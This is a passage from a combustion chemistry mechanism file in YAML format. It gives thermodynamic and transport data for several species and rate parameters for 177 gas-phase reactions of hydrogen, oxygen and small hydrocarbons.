gas geometry: linear diameter: 3.621 well-depth: 97.53 polarizability: 1.76 rotational-relaxation: 4.0 note: '121286' - name: AR composition: {Ar: 1} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [2.5, 0.0, 0.0, 0.0, 0.0, -745.375, 4.366] - [2.5, 0.0, 0.0, 0.0, 0.0, -745.375, 4.366] transport: model: gas geometry: atom diameter: 3.33 well-depth: 136.5 note: '120186' - name: C3H7 composition: {C: 3, H: 7} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [1.0515518, 0.02599198, 2.380054e-06, -1.9609569e-08, 9.373247e-12, 1.0631863e+04, 21.122559] - [7.7026987, 0.016044203, -5.283322e-06, 7.629859e-10, -3.9392284e-14, 8298.4336, -15.48018] transport: model: gas geometry: nonlinear diameter: 4.982 well-depth: 266.8 rotational-relaxation: 1.0 note: L 9/84 - name: C3H8 composition: {C: 3, H: 8} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [0.93355381, 0.026424579, 6.1059727e-06, -2.1977499e-08, 9.5149253e-12, -1.395852e+04, 19.201691] - [7.5341368, 0.018872239, -6.2718491e-06, 9.1475649e-10, -4.7838069e-14, -1.6467516e+04, -17.892349] transport: model: gas geometry: nonlinear diameter: 4.982 well-depth: 266.8 rotational-relaxation: 1.0 note: L 4/85 - name: CH2CHO composition: {O: 1, H: 3, C: 2} thermo: model: NASA7 temperature-ranges: [300.0, 1000.0, 5000.0] data: - [3.409062, 0.010738574, 1.891492e-06, -7.158583e-09, 2.867385e-12, 1521.4766, 9.55829] - [5.97567, 8.130591e-03, -2.743624e-06, 4.070304e-10, -2.176017e-14, 490.3218, -5.045251] transport: model: gas geometry: nonlinear diameter: 3.97 well-depth: 436.0 rotational-relaxation: 2.0 note: SAND86 - name: CH3CHO composition: {C: 2, H: 4, O: 1} thermo: model: NASA7 temperature-ranges: [200.0, 1000.0, 6000.0] data: - [4.7294595, -3.1932858e-03, 4.7534921e-05, -5.7458611e-08, 2.1931112e-11, -2.1572878e+04, 4.1030159] - [5.4041108, 0.011723059, -4.2263137e-06, 6.8372451e-10, -4.0984863e-14, -2.2593122e+04, -3.4807917] transport: model: gas geometry: nonlinear diameter: 3.97 well-depth: 436.0 rotational-relaxation: 2.0 note: L 8/88 reactions: - equation: 2 O + M <=> O2 + M # Reaction 1 type: three-body rate-constant: {A: 1.2e+17, b: -1, Ea: 0} efficiencies: {AR: 0.83, C2H6: 3, CH4: 2, CO: 1.75, CO2: 3.6, H2: 2.4, H2O: 15.4} - equation: O + H + M <=> OH + M # Reaction 2 type: three-body rate-constant: {A: 5.0e+17, b: -1, Ea: 0} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: O + H2 <=> H + OH # Reaction 3 rate-constant: {A: 3.87e+04, b: 2.7, Ea: 6260} - equation: O + HO2 <=> OH + O2 # Reaction 4 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: O + H2O2 <=> OH + HO2 # Reaction 5 rate-constant: {A: 9.63e+06, b: 2, Ea: 4000} - equation: O + CH <=> H + CO # Reaction 6 rate-constant: {A: 5.7e+13, b: 0, Ea: 0} - equation: O + CH2 <=> H + HCO # Reaction 7 rate-constant: {A: 8.0e+13, b: 0, Ea: 0} - equation: O + CH2(S) <=> H2 + CO # Reaction 8 rate-constant: {A: 1.5e+13, b: 0, Ea: 0} - equation: O + CH2(S) <=> H + HCO # Reaction 9 rate-constant: {A: 1.5e+13, b: 0, Ea: 0} - equation: O + CH3 <=> H + CH2O # Reaction 10 rate-constant: {A: 5.06e+13, b: 0, Ea: 0} - equation: O + CH4 <=> OH + CH3 # Reaction 11 rate-constant: {A: 1.02e+09, b: 1.5, Ea: 8600} - equation: O + CO (+ M) <=> CO2 (+ M) # Reaction 12 type: falloff low-P-rate-constant: {A: 6.02e+14, b: 0, Ea: 3000} high-P-rate-constant: {A: 1.8e+10, b: 0, Ea: 2385} efficiencies: {AR: 0.5, C2H6: 3, CH4: 2, CO: 1.5, CO2: 3.5, H2: 2, H2O: 6, O2: 6} - equation: O + HCO <=> OH + CO # Reaction 13 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: O + HCO <=> H + CO2 # Reaction 14 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: O + CH2O <=> OH + HCO # Reaction 15 rate-constant: {A: 3.9e+13, b: 0, Ea: 3540} - equation: O + CH2OH <=> OH + CH2O # Reaction 16 rate-constant: {A: 1.0e+13, b: 0, Ea: 0} - equation: O + CH3O <=> OH + CH2O # Reaction 17 rate-constant: {A: 1.0e+13, b: 0, Ea: 0} - equation: O + CH3OH <=> OH + CH2OH # Reaction 18 rate-constant: {A: 3.88e+05, b: 2.5, Ea: 3100} - equation: O + CH3OH <=> OH + CH3O # Reaction 19 rate-constant: {A: 1.3e+05, b: 2.5, Ea: 5000} - equation: O + C2H <=> CH + CO # Reaction 20 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: O + C2H2 <=> H + HCCO # Reaction 21 rate-constant: {A: 1.35e+07, b: 2, Ea: 1900} - equation: O + C2H2 <=> OH + C2H # Reaction 22 rate-constant: {A: 4.6e+19, b: -1.41, Ea: 28950} - equation: O + C2H2 <=> CO + CH2 # Reaction 23 rate-constant: {A: 6.94e+06, b: 2, Ea: 1900} - equation: O + C2H3 <=> H + CH2CO # Reaction 24 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: O + C2H4 <=> CH3 + HCO # Reaction 25 rate-constant: {A: 1.25e+07, b: 1.83, Ea: 220} - equation: O + C2H5 <=> CH3 + CH2O # Reaction 26 rate-constant: {A: 2.24e+13, b: 0, Ea: 0} - equation: O + C2H6 <=> OH + C2H5 # Reaction 27 rate-constant: {A: 8.98e+07, b: 1.92, Ea: 5690} - equation: O + HCCO <=> H + 2 CO # Reaction 28 rate-constant: {A: 1.0e+14, b: 0, Ea: 0} - equation: O + CH2CO <=> OH + HCCO # Reaction 29 rate-constant: {A: 1.0e+13, b: 0, Ea: 8000} - equation: O + CH2CO <=> CH2 + CO2 # Reaction 30 rate-constant: {A: 1.75e+12, b: 0, Ea: 1350} - equation: O2 + CO <=> O + CO2 # Reaction 31 rate-constant: {A: 2.5e+12, b: 0, Ea: 47800} - equation: O2 + CH2O <=> HO2 + HCO # Reaction 32 rate-constant: {A: 1.0e+14, b: 0, Ea: 40000} - equation: H + O2 + M <=> HO2 + M # Reaction 33 type: three-body rate-constant: {A: 2.8e+18, b: -0.86, Ea: 0} efficiencies: {AR: 0, C2H6: 1.5, CO: 0.75, CO2: 1.5, H2O: 0, N2: 0, O2: 0} - equation: H + 2 O2 <=> HO2 + O2 # Reaction 34 rate-constant: {A: 2.08e+19, b: -1.24, Ea: 0} - equation: H + O2 + H2O <=> HO2 + H2O # Reaction 35 rate-constant: {A: 1.126e+19, b: -0.76, Ea: 0} - equation: H + O2 + N2 <=> HO2 + N2 # Reaction 36 rate-constant: {A: 2.6e+19, b: -1.24, Ea: 0} - equation: H + O2 + AR <=> HO2 + AR # Reaction 37 rate-constant: {A: 7.0e+17, b: -0.8, Ea: 0} - equation: H + O2 <=> O + OH # Reaction 38 rate-constant: {A: 2.65e+16, b: -0.6707, Ea: 17041} - equation: 2 H + M <=> H2 + M # Reaction 39 type: three-body rate-constant: {A: 1.0e+18, b: -1, Ea: 0} efficiencies: {AR: 0.63, C2H6: 3, CH4: 2, CO2: 0, H2: 0, H2O: 0} - equation: 2 H + H2 <=> 2 H2 # Reaction 40 rate-constant: {A: 9.0e+16, b: -0.6, Ea: 0} - equation: 2 H + H2O <=> H2 + H2O # Reaction 41 rate-constant: {A: 6.0e+19, b: -1.25, Ea: 0} - equation: 2 H + CO2 <=> H2 + CO2 # Reaction 42 rate-constant: {A: 5.5e+20, b: -2, Ea: 0} - equation: H + OH + M <=> H2O + M # Reaction 43 type: three-body rate-constant: {A: 2.2e+22, b: -2, Ea: 0} efficiencies: {AR: 0.38, C2H6: 3, CH4: 2, H2: 0.73, H2O: 3.65} - equation: H + HO2 <=> O + H2O # Reaction 44 rate-constant: {A: 3.97e+12, b: 0, Ea: 671} - equation: H + HO2 <=> O2 + H2 # Reaction 45 rate-constant: {A: 4.48e+13, b: 0, Ea: 1068} - equation: H + HO2 <=> 2 OH # Reaction 46 rate-constant: {A: 8.4e+13, b: 0, Ea: 635} - equation: H + H2O2 <=> HO2 + H2 # Reaction 47 rate-constant: {A: 1.21e+07, b: 2, Ea: 5200} - equation: H + H2O2 <=> OH + H2O # Reaction 48 rate-constant: {A: 1.0e+13, b: 0, Ea: 3600} - equation: H + CH <=> C + H2 # Reaction 49 rate-constant: {A: 1.65e+14, b: 0, Ea: 0} - equation: H + CH2 (+ M) <=> CH3 (+ M) # Reaction 50 type: falloff low-P-rate-constant: {A: 1.04e+26, b: -2.76, Ea: 1600} high-P-rate-constant: {A: 6.0e+14, b: 0, Ea: 0} Troe: {A: 0.562, T3: 91, T1: 5836, T2: 8552} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH2(S) <=> CH + H2 # Reaction 51 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: H + CH3 (+ M) <=> CH4 (+ M) # Reaction 52 type: falloff low-P-rate-constant: {A: 2.62e+33, b: -4.76, Ea: 2440} high-P-rate-constant: {A: 1.39e+16, b: -0.534, Ea: 536} Troe: {A: 0.783, T3: 74, T1: 2941, T2: 6964} efficiencies: {AR: 0.7, C2H6: 3, CH4: 3, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH4 <=> CH3 + H2 # Reaction 53 rate-constant: {A: 6.6e+08, b: 1.62, Ea: 10840} - equation: H + HCO (+ M) <=> CH2O (+ M) # Reaction 54 type: falloff low-P-rate-constant: {A: 2.47e+24, b: -2.57, Ea: 425} high-P-rate-constant: {A: 1.09e+12, b: 0.48, Ea: -260} Troe: {A: 0.7824, T3: 271, T1: 2755, T2: 6570} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + HCO <=> H2 + CO # Reaction 55 rate-constant: {A: 7.34e+13, b: 0, Ea: 0} - equation: H + CH2O (+ M) <=> CH2OH (+ M) # Reaction 56 type: falloff low-P-rate-constant: {A: 1.27e+32, b: -4.82, Ea: 6530} high-P-rate-constant: {A: 5.4e+11, b: 0.454, Ea: 3600} Troe: {A: 0.7187, T3: 103, T1: 1291, T2: 4160} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH2O (+ M) <=> CH3O (+ M) # Reaction 57 type: falloff low-P-rate-constant: {A: 2.2e+30, b: -4.8, Ea: 5560} high-P-rate-constant: {A: 5.4e+11, b: 0.454, Ea: 2600} Troe: {A: 0.758, T3: 94, T1: 1555, T2: 4200} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH2O <=> HCO + H2 # Reaction 58 rate-constant: {A: 5.74e+07, b: 1.9, Ea: 2742} - equation: H + CH2OH (+ M) <=> CH3OH (+ M) # Reaction 59 type: falloff low-P-rate-constant: {A: 4.36e+31, b: -4.65, Ea: 5080} high-P-rate-constant: {A: 1.055e+12, b: 0.5, Ea: 86} Troe: {A: 0.6, T3: 100, T1: 90000, T2: 10000} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH2OH <=> H2 + CH2O # Reaction 60 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: H + CH2OH <=> OH + CH3 # Reaction 61 rate-constant: {A: 1.65e+11, b: 0.65, Ea: -284} - equation: H + CH2OH <=> CH2(S) + H2O # Reaction 62 rate-constant: {A: 3.28e+13, b: -0.09, Ea: 610} - equation: H + CH3O (+ M) <=> CH3OH (+ M) # Reaction 63 type: falloff low-P-rate-constant: {A: 4.66e+41, b: -7.44, Ea: 14080} high-P-rate-constant: {A: 2.43e+12, b: 0.515, Ea: 50} Troe: {A: 0.7, T3: 100, T1: 90000, T2: 10000} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + CH3O <=> H + CH2OH # Reaction 64 rate-constant: {A: 4.15e+07, b: 1.63, Ea: 1924} - equation: H + CH3O <=> H2 + CH2O # Reaction 65 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: H + CH3O <=> OH + CH3 # Reaction 66 rate-constant: {A: 1.5e+12, b: 0.5, Ea: -110} - equation: H + CH3O <=> CH2(S) + H2O # Reaction 67 rate-constant: {A: 2.62e+14, b: -0.23, Ea: 1070} - equation: H + CH3OH <=> CH2OH + H2 # Reaction 68 rate-constant: {A: 1.7e+07, b: 2.1, Ea: 4870} - equation: H + CH3OH <=> CH3O + H2 # Reaction 69 rate-constant: {A: 4.2e+06, b: 2.1, Ea: 4870} - equation: H + C2H (+ M) <=> C2H2 (+ M) # Reaction 70 type: falloff low-P-rate-constant: {A: 3.75e+33, b: -4.8, Ea: 1900} high-P-rate-constant: {A: 1.0e+17, b: -1, Ea: 0} Troe: {A: 0.6464, T3: 132, T1: 1315, T2: 5566} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C2H2 (+ M) <=> C2H3 (+ M) # Reaction 71 type: falloff low-P-rate-constant: {A: 3.8e+40, b: -7.27, Ea: 7220} high-P-rate-constant: {A: 5.6e+12, b: 0, Ea: 2400} Troe: {A: 0.7507, T3: 98.5, T1: 1302, T2: 4167} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C2H3 (+ M) <=> C2H4 (+ M) # Reaction 72 type: falloff low-P-rate-constant: {A: 1.4e+30, b: -3.86, Ea: 3320} high-P-rate-constant: {A: 6.08e+12, b: 0.27, Ea: 280} Troe: {A: 0.782, T3: 207.5, T1: 2663, T2: 6095} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C2H3 <=> H2 + C2H2 # Reaction 73 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: H + C2H4 (+ M) <=> C2H5 (+ M) # Reaction 74 type: falloff low-P-rate-constant: {A: 6.0e+41, b: -7.62, Ea: 6970} high-P-rate-constant: {A: 5.4e+11, b: 0.454, Ea: 1820} Troe: {A: 0.9753, T3: 210, T1: 984, T2: 4374} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C2H4 <=> C2H3 + H2 # Reaction 75 rate-constant: {A: 1.325e+06, b: 2.53, Ea: 12240} - equation: H + C2H5 (+ M) <=> C2H6 (+ M) # Reaction 76 type: falloff low-P-rate-constant: {A: 1.99e+41, b: -7.08, Ea: 6685} high-P-rate-constant: {A: 5.21e+17, b: -0.99, Ea: 1580} Troe: {A: 0.8422, T3: 125, T1: 2219, T2: 6882} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: H + C2H5 <=> H2 + C2H4 # Reaction 77 rate-constant: {A: 2.0e+12, b: 0, Ea: 0} - equation: H + C2H6 <=> C2H5 + H2 # Reaction 78 rate-constant: {A: 1.15e+08, b: 1.9, Ea: 7530} - equation: H + HCCO <=> CH2(S) + CO # Reaction 79 rate-constant: {A: 1.0e+14, b: 0, Ea: 0} - equation: H + CH2CO <=> HCCO + H2 # Reaction 80 rate-constant: {A: 5.0e+13, b: 0, Ea: 8000} - equation: H + CH2CO <=> CH3 + CO # Reaction 81 rate-constant: {A: 1.13e+13, b: 0, Ea: 3428} - equation: H + HCCOH <=> H + CH2CO # Reaction 82 rate-constant: {A: 1.0e+13, b: 0, Ea: 0} - equation: H2 + CO (+ M) <=> CH2O (+ M) # Reaction 83 type: falloff low-P-rate-constant: {A: 5.07e+27, b: -3.42, Ea: 84350} high-P-rate-constant: {A: 4.3e+07, b: 1.5, Ea: 79600} Troe: {A: 0.932, T3: 197, T1: 1540, T2: 10300} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: OH + H2 <=> H + H2O # Reaction 84 rate-constant: {A: 2.16e+08, b: 1.51, Ea: 3430} - equation: 2 OH (+ M) <=> H2O2 (+ M) # Reaction 85 type: falloff low-P-rate-constant: {A: 2.3e+18, b: -0.9, Ea: -1700} high-P-rate-constant: {A: 7.4e+13, b: -0.37, Ea: 0} Troe: {A: 0.7346, T3: 94, T1: 1756, T2: 5182} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: 2 OH <=> O + H2O # Reaction 86 rate-constant: {A: 3.57e+04, b: 2.4, Ea: -2110} - equation: OH + HO2 <=> O2 + H2O # Reaction 87 rate-constant: {A: 1.45e+13, b: 0, Ea: -500} duplicate: true - equation: OH + H2O2 <=> HO2 + H2O # Reaction 88 rate-constant: {A: 2.0e+12, b: 0, Ea: 427} duplicate: true - equation: OH + H2O2 <=> HO2 + H2O # Reaction 89 rate-constant: {A: 1.7e+18, b: 0, Ea: 29410} duplicate: true - equation: OH + C <=> H + CO # Reaction 90 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: OH + CH <=> H + HCO # Reaction 91 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: OH + CH2 <=> H + CH2O # Reaction 92 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: OH + CH2 <=> CH + H2O # Reaction 93 rate-constant: {A: 1.13e+07, b: 2, Ea: 3000} - equation: OH + CH2(S) <=> H + CH2O # Reaction 94 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: OH + CH3 (+ M) <=> CH3OH (+ M) # Reaction 95 type: falloff low-P-rate-constant: {A: 4.0e+36, b: -5.92, Ea: 3140} high-P-rate-constant: {A: 2.79e+18, b: -1.43, Ea: 1330} Troe: {A: 0.412, T3: 195, T1: 5900, T2: 6394} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: OH + CH3 <=> CH2 + H2O # Reaction 96 rate-constant: {A: 5.6e+07, b: 1.6, Ea: 5420} - equation: OH + CH3 <=> CH2(S) + H2O # Reaction 97 rate-constant: {A: 6.44e+17, b: -1.34, Ea: 1417} - equation: OH + CH4 <=> CH3 + H2O # Reaction 98 rate-constant: {A: 1.0e+08, b: 1.6, Ea: 3120} - equation: OH + CO <=> H + CO2 # Reaction 99 rate-constant: {A: 4.76e+07, b: 1.228, Ea: 70} - equation: OH + HCO <=> H2O + CO # Reaction 100 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: OH + CH2O <=> HCO + H2O # Reaction 101 rate-constant: {A: 3.43e+09, b: 1.18, Ea: -447} - equation: OH + CH2OH <=> H2O + CH2O # Reaction 102 rate-constant: {A: 5.0e+12, b: 0, Ea: 0} - equation: OH + CH3O <=> H2O + CH2O # Reaction 103 rate-constant: {A: 5.0e+12, b: 0, Ea: 0} - equation: OH + CH3OH <=> CH2OH + H2O # Reaction 104 rate-constant: {A: 1.44e+06, b: 2, Ea: -840} - equation: OH + CH3OH <=> CH3O + H2O # Reaction 105 rate-constant: {A: 6.3e+06, b: 2, Ea: 1500} - equation: OH + C2H <=> H + HCCO # Reaction 106 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: OH + C2H2 <=> H + CH2CO # Reaction 107 rate-constant: {A: 2.18e-04, b: 4.5, Ea: -1000} - equation: OH + C2H2 <=> H + HCCOH # Reaction 108 rate-constant: {A: 5.04e+05, b: 2.3, Ea: 13500} - equation: OH + C2H2 <=> C2H + H2O # Reaction 109 rate-constant: {A: 3.37e+07, b: 2, Ea: 14000} - equation: OH + C2H2 <=> CH3 + CO # Reaction 110 rate-constant: {A: 4.83e-04, b: 4, Ea: -2000} - equation: OH + C2H3 <=> H2O + C2H2 # Reaction 111 rate-constant: {A: 5.0e+12, b: 0, Ea: 0} - equation: OH + C2H4 <=> C2H3 + H2O # Reaction 112 rate-constant: {A: 3.6e+06, b: 2, Ea: 2500} - equation: OH + C2H6 <=> C2H5 + H2O # Reaction 113 rate-constant: {A: 3.54e+06, b: 2.12, Ea: 870} - equation: OH + CH2CO <=> HCCO + H2O # Reaction 114 rate-constant: {A: 7.5e+12, b: 0, Ea: 2000} - equation: 2 HO2 <=> O2 + H2O2 # Reaction 115 rate-constant: {A: 1.3e+11, b: 0, Ea: -1630} duplicate: true - equation: 2 HO2 <=> O2 + H2O2 # Reaction 116 rate-constant: {A: 4.2e+14, b: 0, Ea: 12000} duplicate: true - equation: HO2 + CH2 <=> OH + CH2O # Reaction 117 rate-constant: {A: 2.0e+13, b: 0, Ea: 0} - equation: HO2 + CH3 <=> O2 + CH4 # Reaction 118 rate-constant: {A: 1.0e+12, b: 0, Ea: 0} - equation: HO2 + CH3 <=> OH + CH3O # Reaction 119 rate-constant: {A: 3.78e+13, b: 0, Ea: 0} - equation: HO2 + CO <=> OH + CO2 # Reaction 120 rate-constant: {A: 1.5e+14, b: 0, Ea: 23600} - equation: HO2 + CH2O <=> HCO + H2O2 # Reaction 121 rate-constant: {A: 5.6e+06, b: 2, Ea: 12000} - equation: C + O2 <=> O + CO # Reaction 122 rate-constant: {A: 5.8e+13, b: 0, Ea: 576} - equation: C + CH2 <=> H + C2H # Reaction 123 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: C + CH3 <=> H + C2H2 # Reaction 124 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: CH + O2 <=> O + HCO # Reaction 125 rate-constant: {A: 6.71e+13, b: 0, Ea: 0} - equation: CH + H2 <=> H + CH2 # Reaction 126 rate-constant: {A: 1.08e+14, b: 0, Ea: 3110} - equation: CH + H2O <=> H + CH2O # Reaction 127 rate-constant: {A: 5.71e+12, b: 0, Ea: -755} - equation: CH + CH2 <=> H + C2H2 # Reaction 128 rate-constant: {A: 4.0e+13, b: 0, Ea: 0} - equation: CH + CH3 <=> H + C2H3 # Reaction 129 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: CH + CH4 <=> H + C2H4 # Reaction 130 rate-constant: {A: 6.0e+13, b: 0, Ea: 0} - equation: CH + CO (+ M) <=> HCCO (+ M) # Reaction 131 type: falloff low-P-rate-constant: {A: 2.69e+28, b: -3.74, Ea: 1936} high-P-rate-constant: {A: 5.0e+13, b: 0, Ea: 0} Troe: {A: 0.5757, T3: 237, T1: 1652, T2: 5069} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: CH + CO2 <=> HCO + CO # Reaction 132 rate-constant: {A: 1.9e+14, b: 0, Ea: 15792} - equation: CH + CH2O <=> H + CH2CO # Reaction 133 rate-constant: {A: 9.46e+13, b: 0, Ea: -515} - equation: CH + HCCO <=> CO + C2H2 # Reaction 134 rate-constant: {A: 5.0e+13, b: 0, Ea: 0} - equation: CH2 + O2 => OH + H + CO # Reaction 135 rate-constant: {A: 5.0e+12, b: 0, Ea: 1500} - equation: CH2 + H2 <=> H + CH3 # Reaction 136 rate-constant: {A: 5.0e+05, b: 2, Ea: 7230} - equation: 2 CH2 <=> H2 + C2H2 # Reaction 137 rate-constant: {A: 1.6e+15, b: 0, Ea: 11944} - equation: CH2 + CH3 <=> H + C2H4 # Reaction 138 rate-constant: {A: 4.0e+13, b: 0, Ea: 0} - equation: CH2 + CH4 <=> 2 CH3 # Reaction 139 rate-constant: {A: 2.46e+06, b: 2, Ea: 8270} - equation: CH2 + CO (+ M) <=> CH2CO (+ M) # Reaction 140 type: falloff low-P-rate-constant: {A: 2.69e+33, b: -5.11, Ea: 7095} high-P-rate-constant: {A: 8.1e+11, b: 0.5, Ea: 4510} Troe: {A: 0.5907, T3: 275, T1: 1226, T2: 5185} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: CH2 + HCCO <=> C2H3 + CO # Reaction 141 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: CH2(S) + N2 <=> CH2 + N2 # Reaction 142 rate-constant: {A: 1.5e+13, b: 0, Ea: 600} - equation: CH2(S) + AR <=> CH2 + AR # Reaction 143 rate-constant: {A: 9.0e+12, b: 0, Ea: 600} - equation: CH2(S) + O2 <=> H + OH + CO # Reaction 144 rate-constant: {A: 2.8e+13, b: 0, Ea: 0} - equation: CH2(S) + O2 <=> CO + H2O # Reaction 145 rate-constant: {A: 1.2e+13, b: 0, Ea: 0} - equation: CH2(S) + H2 <=> CH3 + H # Reaction 146 rate-constant: {A: 7.0e+13, b: 0, Ea: 0} - equation: CH2(S) + H2O (+ M) <=> CH3OH (+ M) # Reaction 147 type: falloff low-P-rate-constant: {A: 1.88e+38, b: -6.36, Ea: 5040} high-P-rate-constant: {A: 4.82e+17, b: -1.16, Ea: 1145} Troe: {A: 0.6027, T3: 208, T1: 3922, T2: 10180} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: CH2(S) + H2O <=> CH2 + H2O # Reaction 148 rate-constant: {A: 3.0e+13, b: 0, Ea: 0} - equation: CH2(S) + CH3 <=> H + C2H4 # Reaction 149 rate-constant: {A: 1.2e+13, b: 0, Ea: -570} - equation: CH2(S) + CH4 <=> 2 CH3 # Reaction 150 rate-constant: {A: 1.6e+13, b: 0, Ea: -570} - equation: CH2(S) + CO <=> CH2 + CO # Reaction 151 rate-constant: {A: 9.0e+12, b: 0, Ea: 0} - equation: CH2(S) + CO2 <=> CH2 + CO2 # Reaction 152 rate-constant: {A: 7.0e+12, b: 0, Ea: 0} - equation: CH2(S) + CO2 <=> CO + CH2O # Reaction 153 rate-constant: {A: 1.4e+13, b: 0, Ea: 0} - equation: CH2(S) + C2H6 <=> CH3 + C2H5 # Reaction 154 rate-constant: {A: 4.0e+13, b: 0, Ea: -550} - equation: CH3 + O2 <=> O + CH3O # Reaction 155 rate-constant: {A: 3.56e+13, b: 0, Ea: 30480} - equation: CH3 + O2 <=> OH + CH2O # Reaction 156 rate-constant: {A: 2.31e+12, b: 0, Ea: 20315} - equation: CH3 + H2O2 <=> HO2 + CH4 # Reaction 157 rate-constant: {A: 2.45e+04, b: 2.47, Ea: 5180} - equation: 2 CH3 (+ M) <=> C2H6 (+ M) # Reaction 158 type: falloff low-P-rate-constant: {A: 3.4e+41, b: -7.03, Ea: 2762} high-P-rate-constant: {A: 6.77e+16, b: -1.18, Ea: 654} Troe: {A: 0.619, T3: 73.2, T1: 1180, T2: 9999} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: 2 CH3 <=> H + C2H5 # Reaction 159 rate-constant: {A: 6.84e+12, b: 0.1, Ea: 10600} - equation: CH3 + HCO <=> CH4 + CO # Reaction 160 rate-constant: {A: 2.648e+13, b: 0, Ea: 0} - equation: CH3 + CH2O <=> HCO + CH4 # Reaction 161 rate-constant: {A: 3320.0, b: 2.81, Ea: 5860} - equation: CH3 + CH3OH <=> CH2OH + CH4 # Reaction 162 rate-constant: {A: 3.0e+07, b: 1.5, Ea: 9940} - equation: CH3 + CH3OH <=> CH3O + CH4 # Reaction 163 rate-constant: {A: 1.0e+07, b: 1.5, Ea: 9940} - equation: CH3 + C2H4 <=> C2H3 + CH4 # Reaction 164 rate-constant: {A: 2.27e+05, b: 2, Ea: 9200} - equation: CH3 + C2H6 <=> C2H5 + CH4 # Reaction 165 rate-constant: {A: 6.14e+06, b: 1.74, Ea: 10450} - equation: HCO + H2O <=> H + CO + H2O # Reaction 166 rate-constant: {A: 1.5e+18, b: -1, Ea: 17000} - equation: HCO + M <=> H + CO + M # Reaction 167 type: three-body rate-constant: {A: 1.87e+17, b: -1, Ea: 17000} efficiencies: {C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 0} - equation: HCO + O2 <=> HO2 + CO # Reaction 168 rate-constant: {A: 1.345e+13, b: 0, Ea: 400} - equation: CH2OH + O2 <=> HO2 + CH2O # Reaction 169 rate-constant: {A: 1.8e+13, b: 0, Ea: 900} - equation: CH3O + O2 <=> HO2 + CH2O # Reaction 170 rate-constant: {A: 4.28e-13, b: 7.6, Ea: -3530} - equation: C2H + O2 <=> HCO + CO # Reaction 171 rate-constant: {A: 1.0e+13, b: 0, Ea: -755} - equation: C2H + H2 <=> H + C2H2 # Reaction 172 rate-constant: {A: 5.68e+10, b: 0.9, Ea: 1993} - equation: C2H3 + O2 <=> HCO + CH2O # Reaction 173 rate-constant: {A: 4.58e+16, b: -1.39, Ea: 1015} - equation: C2H4 (+ M) <=> H2 + C2H2 (+ M) # Reaction 174 type: falloff low-P-rate-constant: {A: 1.58e+51, b: -9.3, Ea: 97800} high-P-rate-constant: {A: 8.0e+12, b: 0.44, Ea: 86770} Troe: {A: 0.7345, T3: 180, T1: 1035, T2: 5417} efficiencies: {AR: 0.7, C2H6: 3, CH4: 2, CO: 1.5, CO2: 2, H2: 2, H2O: 6} - equation: C2H5 + O2 <=> HO2 + C2H4 # Reaction 175 rate-constant: {A: 8.4e+11, b: 0, Ea: 3875} - equation: HCCO + O2 <=> OH + 2 CO # Reaction 176 rate-constant: {A: 3.2e+12, b: 0, Ea: 854} - equation: 2 HCCO <=> 2 CO + C2H2 # Reaction 177 